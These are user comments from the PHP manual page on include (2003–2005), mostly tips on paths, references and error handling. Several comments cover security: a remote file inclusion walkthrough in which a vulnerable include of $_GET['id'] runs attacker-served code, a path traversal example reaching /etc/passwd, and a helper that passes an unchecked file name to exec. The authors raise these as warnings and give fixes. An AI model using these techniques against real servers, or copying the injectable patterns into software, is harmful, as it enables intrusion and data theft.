14-Apr-2005 06:47
14-Apr-2005 06:47
This is not directly linked to the include function itself. But i had a problem with dynamically generated include-files that could generate parse errors and cause the whole script to parse-error.
So as i could not find any ready solution for this problem i wrote the mini-function. It's not the most handsome solution, but it works for me.
<?php
function ChkInc($file){
if(substr(exec("php -l $file"), 0, 28) == "No syntax errors detected in"){
return true;
}else{
return false;
}
}
?>
if someone else has a better solution, do post it...
Note. remember that this function uses unchecked variables passed to exec, so don't use it for direct user input without improving it.
//Gillis Danielsen
dragon at wastelands dot net
10-Dec-2004 09:30
10-Dec-2004 09:30
The __FILE__ macro will give the full path and name of an included script when called from inside the script. E.g.
<?php include("/different/root/script.php"); ?>
And this file contains:
<?php echo __FILE__; ?>
The output is:
/different/root/script.php
Surprisingly useful :> Obviously something like dirname(__FILE__) works just fine.
mattcimino at gardiners dot com
11-Aug-2004 09:47
11-Aug-2004 09:47
To avoid painfully SLOW INCLUDES under IIS be sure to set "output_buffering = on" in php.ini. File includes dropped from about 2 seconds to 0 seconds when this was set.
durkboek A_T hotmail D_O_T com
03-Jun-2004 08:09
03-Jun-2004 08:09
I would like to emphasize the danger of remote includes. For example:
Suppose, we have a server A with Linux and PHP 4.3.0 or greater installed which has the file index.php with the following code:
<?php
// File: index.php
include ($_GET['id'].".php");
?>
This is, of course, not a very good way to program, but i actually found a program doing this.
Then, we hava a server B, also Linux with PHP installed, that has the file list.php with the following code:
<?php
// File: list.php
$output = "";
exec("ls -al",$output);
foreach($output as $line) {
echo $line . "<br>\n";
}
?>
If index.php on Server A is called like this: http://server_a/index.php?id=http://server_b/list
then Server B will execute list.php and Server A will include the output of Server B, a list of files.
But here's the trick: if Server B doesn't have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A!
I tried this on three different servers, and it allways worked.
This is only an example, but there have been hacks uploading files to servers etc.
So, allways be extremely carefull with remote includes.
moosh at php dot net
16-Jan-2004 12:03
16-Jan-2004 12:03
<?php
@include('/foo') OR die ("bar"); # <- Won't work
@(include('/foo')) OR die ("bar"); # <- Works
?>
so "or" have prority on "include"
james at gogo dot co dot nz
10-Dec-2003 03:03
10-Dec-2003 03:03
While you can return a value from an included file, and receive the value as you would expect, you do not seem to be able to return a reference in any way (except in array, references are always preserved in arrays).
For example, we have two files, file 1.php contains...
<?php
function &x(&$y)
{
return include(dirname(__FILE__) . '/2.php');
}
$z = "FOO\n";
$z2 = &x($z);
echo $z2;
$z = "NOO\n";
echo $z2;
?>
and file 2.php contains...
<?php return $y; ?>
calling 1.php will produce
FOO
FOO
i.e the reference passed to x() is broken on it's way out of the include()
Neither can you do something like <?php $foo =& include(....); ?> as that's a parse error (include is not a real function, so can't take a reference in that case). And you also can't do <?php return &$foo ?> in the included file (parse error again, nothing to assign the reference too).
The only solutions are to set a variable with the reference which the including code can then return itself, or return an array with the reference inside.
---
James Sleeman
http://www.gogo.co.nz/
david dot gaia dot kano at dartmouth dot edu
04-Dec-2003 06:13
04-Dec-2003 06:13
I just discovered a "gotcha" for the behavior of include when using the command line version of php.
I copied all the included files needed for a new version of a program into a temporary directory, so I could run them "off to the side" before they were ready for release into the live area. One of the files with a new version (call it common.inc.php for this example) normally lives in one of the directories in the include path. But I did not want to put the new version there yet! So I copied common.inc.php into my temporary directory along with the others, figuring that the interpreter would find it there before it found it in the include directory, because my include path has a . at the beginning. When I tested it, everything was fine.
But then I setup a cron job to run the script automatically every day. In the crontab I placed the full path of the script. But when it ran, it included the old version of my common.inc.php file out of the include directory. Interestingly, the other include files that only existed in the temporary directory were included fine.
Evidently AFTER the include path is searched, the directory in which the main script lives is searched as well. So my temporary installation almost worked fine, except for the lack of the small change I had made in the common file introduced a bug.
To make it work I use a shell script to start my php script. It contains a cd command into the temporary directory, then starts the php script.
So "current directory" (the . in the include path) for a command line script is really the current directory you are in when executing the script. Whereas it means the directory in which the script lives when executing under apache.
I hope this helps save someone else the hours it took me to figure out my problem!
David
php at mijav dot dk
19-Nov-2003 11:07
19-Nov-2003 11:07
The @ directive works with this construct as well. My experience is you can use an if-statement to verify if the script was included (I havn't tested this on remote includes, there might be non-standard-404 pages that makes it impossible to verify you got the right page)
Example:
<?php
// ignore the notice and evaluate the return value of the script, if any.
if(@include(dirname(__FILE__)."/foo.php"))
echo "foo.php included";
else
echo "failed to include foo.php";
?>
redeye at cs-aktuell dot de
08-Feb-2003 10:29
08-Feb-2003 10:29
As to the security risks of an include statement like:
<?php
include($page);
?>
This is a really bad way on writing an include statement because the user could include server- or password-files which PHP can read as well. You could check the $page variable first but a simple check like
<?php
if ( file_exists($page) ) AND !preg_match("#^\.\./#",$page) )
include($page);
?>
wont make it any safer. ( Think of $page = 'pages/../../../etc/passwd' )
To be sure only pages are called you want the user to call use something like this:
<?php
$path = 'pages/';
$extension = '.php';
if ( preg_match("#^[a-z0-9_]+$#i",$page) ){
$filename = $path.$page.$extension;
include($filename);
}
?>
This will only make sure only files from the directory $path are called if they have the fileextension $extension.